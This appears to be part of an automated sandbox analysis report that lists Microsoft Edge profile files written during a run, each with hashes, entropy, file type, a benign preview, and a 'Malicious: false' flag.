SHA-512:	0D1898B8D8D718051B4E839D45E7C68CEA5BEA7777E013EFE4E830174573C64EB4E225EEF37F525A25DD1EB63813D7A228EAD11B672F06D4789A06CF47028399
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\858ae3f7-da3a-430e-9e60-c6091badc90a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17491), with no line terminators
Category:	dropped
Size (bytes):	17491
Entropy (8bit):	5.474828537975113
Encrypted:	false
SSDEEP:	384:st6PGKSu4Hs/YfhduHsM7+43bGIQwm6WalaTYf:skOxuXYfKPbGXxYaTYf
MD5:	9E22579677C742390E1C3D35572B04F1
SHA1:	37E92D4BA582E6E05E65B7179C9D84AEDF83A585
SHA-256:	F2F94BADAD817881AE2C9E84110F3C7A939C0711040A7D74F592BFAD1E36C101
SHA-512:	F4202AF04983DAD6975DB384A9159CDD5A1BB07D8B1AAF52025E9006FC2A24964A521230E28DA639DAA0C171585780CE93C33BCFB03A67D36AC1D6263CF1F0E7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\881609cf-2393-4c3f-9676-8226e541ffd9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\95694706-ee4a-4395-8981-4b6ba451765c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16733), with no line terminators
Category:	dropped
Size (bytes):	16733
Entropy (8bit):	5.437583289396213
Encrypted:	false
SSDEEP:	384:st6PGKSu4Hs/YfhosM7+43bGIQwm6W6aTYf:skOxuXYfobGXxGaTYf
MD5:	5E6F14E563363040A7D680231918BF16
SHA1:	B5D269C860E1814A27996EC4BC866E41EC094496
SHA-256:	429BB117C475E6FE869FD8593BB42097077B5FF21FD2B36D9826CA40D1A039DD
SHA-512:	4CF60D91D160E83A554643A62FB767C516EF9590819A49DCC9A40C23124D03490DE7130AFA12DA75B7FB783F91F79698A8005B5A7DDED0F468EBE39E7D4846E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\982e71a0-4b45-402e-a3fb-3bcc7073bd55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17491), with no line terminators
Category:	dropped
Size (bytes):	17491
Entropy (8bit):	5.47483022897852
Encrypted:	false
SSDEEP:	384:st6PGKSu4Hs/YfhduHsM7+43bGIQwm6WzlaTYf:skOxuXYfKPbGXxlaTYf
MD5:	D068768D347442D3418808BF76F1F117
SHA1:	A73D120258760DAC1F782EE7D5E29AD5A5CD6CDB
SHA-256:	89E078620BA9351A91330CB3D8DB0E44FCD1C858944F43A939228E11716BCF78
SHA-512:	1DFDC6131B41E57C9B008DE2CA7C076B42AFE066F61342D6759870A6E5F2A699B35CA3BF77BFD9906092662E9A083CB4C44C51516EB85DCBDB3523E1B251EE17
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222876444860462
Encrypted:	false
SSDEEP:	24576:v+/PN8FRfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Hfx2mjF
MD5:	E2A4417C00A22756561EDCD80F74ED5E
SHA1:	5357E075DAD81BEB67AE8F4055C8CA56A1C0642C
SHA-256:	F8EBC5328CB379F68E23ADE606F1B06575B9DCDF22B7595E2128CEC054EE9B89
SHA-512:	41951BB16F68FFA0E53C37DC457CF75374D56B9CD8225F69582F6CC427C49350BB041C51EF7E3BDA389814110EA20B2193BB1740D7B8505C3AD7034FCDFE299C
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.134965797812584
Encrypted:	false
SSDEEP:	6:HU3/Iq2P923oH+Tcwt9Eh1tIFUt8YUouIZmw+YU1UP0f0PXUefVIKYUDFhVP:m/Iv4Yeb9Eh16FUt8HI/+TG0KtLh
MD5:	C1D50E6F22C62CAE2865A2D88198E849
SHA1:	B061B788376951E14C5DA962EE6080CA98E216FC
SHA-256:	B814F5B8F5B5CEFB01E3F589139307DFA5EC72E3F8DAD897AF185A3F75AAB3CF
SHA-512:	F21C417524A9235FD58CFDEB56D62C3AB22ACDD04E166ACFA9820226F6436BD656A489AC544B3001851C5E84FD6E1C111DDB481E0D9138E8B1A974599DD090E3
Malicious:	false
Preview:	2024/11/16-13:25:23.986 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-13:25:23.987 1720 Recovering log #3.2024/11/16-13:25:24.012 1720 Level-0 table #3: started.2024/11/16-13:25:24.105 1720 Level-0 table #3: 739858 bytes OK.2024/11/16-13:25:24.112 1720 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.134965797812584
Encrypted:	false
SSDEEP:	6:HU3/Iq2P923oH+Tcwt9Eh1tIFUt8YUouIZmw+YU1UP0f0PXUefVIKYUDFhVP:m/Iv4Yeb9Eh16FUt8HI/+TG0KtLh
MD5:	C1D50E6F22C62CAE2865A2D88198E849
SHA1:	B061B788376951E14C5DA962EE6080CA98E216FC
SHA-256:	B814F5B8F5B5CEFB01E3F589139307DFA5EC72E3F8DAD897AF185A3F75AAB3CF
SHA-512:	F21C417524A9235FD58CFDEB56D62C3AB22ACDD04E166ACFA9820226F6436BD656A489AC544B3001851C5E84FD6E1C111DDB481E0D9138E8B1A974599DD090E3
Malicious:	false
Preview:	2024/11/16-13:25:23.986 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/16-13:25:23.987 1720 Recovering log #3.2024/11/16-13:25:24.012 1720 Level-0 table #3: started.2024/11/16-13:25:24.105 1720 Level-0 table #3: 739858 bytes OK.2024/11/16-13:25:24.112 1720 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634118
Entropy (8bit):	6.012076153176521
Encrypted:	false
SSDEEP:	12288:Izbw8GY2ejbOvmyAya+0Wic6MipKVK6Mi7t/J2L6sKhEea:IzU8D2efOrAkFBvK1i7t/JKRkEF
MD5:	5342DF88E43C610510D21FF48BD3B3EB
SHA1:	6E797C69D50F7ABA7930B9552EFC77A03770CE05
SHA-256:	CC14076BAD72B8C598C333376B75DD1115A6D63EE9C56F728B1C6A9BBE006124
SHA-512:	CE50BCC88027471FCD9D91CB92618E26870D03E13BC7D21AD95BF2A04E2CD0AA1D1100F3DE642769EB4ECC73C801BD7CC8CA0459D06E0B46F886D7B2D26D61F9
Malicious:	false
Preview:	...m.................DB_VERSION.1./...................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPu

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634093
Entropy (8bit):	6.011373176932516
Encrypted:	false
SSDEEP:	12288:8zGw8GK2njwovyCyya+IWicVMi/hKK6Mi7m/J2LusKhETn:8zz8/2nso5yuFKDK1i7m/JKFkET
MD5:	BD2477B7E92299997D7A59CF9B6A1F35
SHA1:	615CA702581D07D33CADF21E470ACF37B2EEADB8
SHA-256:	58DBD75FB7C2C206E1F7C3EF92210A9EB04E62C698B47C166E90392056621DCE
SHA-512:	DA4D4FCE1C727963EDE19C10825A4B7C981432B640CE22BF42EFB35D8141165A0E88C4C595C03C732221CCC28A9B4726EF2BE70E259E42CA8BC16B163CD299A5
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPuFpGrocpZYDMCB7dnuyUBGBzriaBN54A7akXRAEGHOY0q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354127506080752
Encrypted:	false
SSDEEP:	6144:HA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:HFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	993700FA14D11B4176A370F5ABAE7779
SHA1:	1727C7A3E86A50CE5124481A73C0E4C4D1430E03
SHA-256:	7F7D5BA24D8F7CD8C924D7FFCDD225177ED0A495327C6F8C62D1009CAA23B592
SHA-512:	034D8902707B6176A4D5BB980CC24E68616DC3E072900135D2F69408FBC2F7A84E19906F5414B75D68FF10C385AEA71EE63BC69633D08D0C652BE2F1828A95D8
Malicious:	false
Preview:	...m.................DB_VERSION.1.D'.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376254945771476..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.151431319210256
Encrypted:	false
SSDEEP:	6:HUNHPOM1923oH+Tcwtk2WwnvB2KLlVUNncXFyq2P923oH+Tcwtk2WwnvIFUv:AHmhYebkxwnvFLInfv4YebkxwnQFUv
MD5:	0BEC4D0119E79E359405DD62FCB7C1A5
SHA1:	00997B7A72FCCF6220499B39A43A4DC5D5309A3C
SHA-256:	0FEEB435F9D15874032EC75D5F34CA6E16C42B4374A14222572844EBB9D24CBB
SHA-512:	531B4E2C4AB8C350A08EE391B989BEC6C1F6788510F41E291FC45850C0DD0B509FA45FCB06E0FD8B9CAA98FBD590C238A416D1CD2FEF2C428F203167F5A19E10
Malicious:	false
Preview:	2024/11/16-13:22:23.570 2314 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/16-13:22:23.711 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324623061072615
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rq:C1gAg1zfvy
MD5:	835DAD2F19F92C5CF473FA49F0A02087
SHA1:	541F06BC5CBA07A84902978EE40CB36857456061
SHA-256:	21552843782510E23C8CCC644AC9FA5715648EC63F4D70EF3E28A09F2A5D09C8
SHA-512:	FEE157AFB1AA58B2363893BAF257797D665356204C9F02981EFC3D753218B0C103C57F0C5B90EEFFB41454E42A30FEFD654690179E7EB76A18153B15E3C72828
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

